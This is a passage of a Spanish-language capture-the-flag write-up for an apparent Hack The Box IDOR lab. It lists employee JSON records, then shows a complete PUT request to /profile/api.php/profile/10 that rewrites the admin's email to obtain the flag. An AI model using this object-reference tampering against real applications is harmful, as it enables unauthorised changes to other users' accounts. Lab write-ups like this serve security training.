    "uuid": "ca7724498403de38829ae36fc9149b75",
    "role": "employee",
    "full_name": "Augusta Edwardson",
    "email": "a_edwardson@employees.htb",
    "about": "Simplicity is the ultimate sophistication."
}
{
    "uid": "10",
    "uuid": "bfd92386a1b48076792e68b596846499",
    "role": "staff_admin",
    "full_name": "admin",
    "email": "admin@employees.htb",
    "about": "Never gonna give you up, Never gonna let you down"
}

Usuario administrador

Encontramos al usuario administrador, que es el que nos interesa:

{
    "uid": "10",
    "uuid": "bfd92386a1b48076792e68b596846499",
    "role": "staff_admin",
    "full_name": "admin",
    "email": "admin@employees.htb",
    "about": "Never gonna give you up, Never gonna let you down"
}

Cambiar el correo electrónico del administrador

Envíamos una solicitud PUT al endpoint /profile/api.php/profile/10 con los datos del administrador, pero cambiando el campo email a flag@idor.htb.

PUT /profile/api.php/profile/10 HTTP/1.1
Host: 94.237.60.154:40673
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Content-Type: application/json
Cookie: role=employee
Connection: keep-alive
Content-Length: 208

{
    "uid": "10",
    "uuid": "bfd92386a1b48076792e68b596846499",
    "role": "staff_admin",
    "full_name": "admin",
    "email": "flag@idor.htb",
    "about": "Never gonna give you up, Never gonna let you down"
}

Al enviar la petición por BurpSuite vemos que funciona y nos devuelve la flag:

Si hacemos una solicitud GET de este usuario admin vemos que se ha cambiado correctamente su email:

modificar_nuestro_rol
💣
🕸️
🕸️
🕸️
Page cover image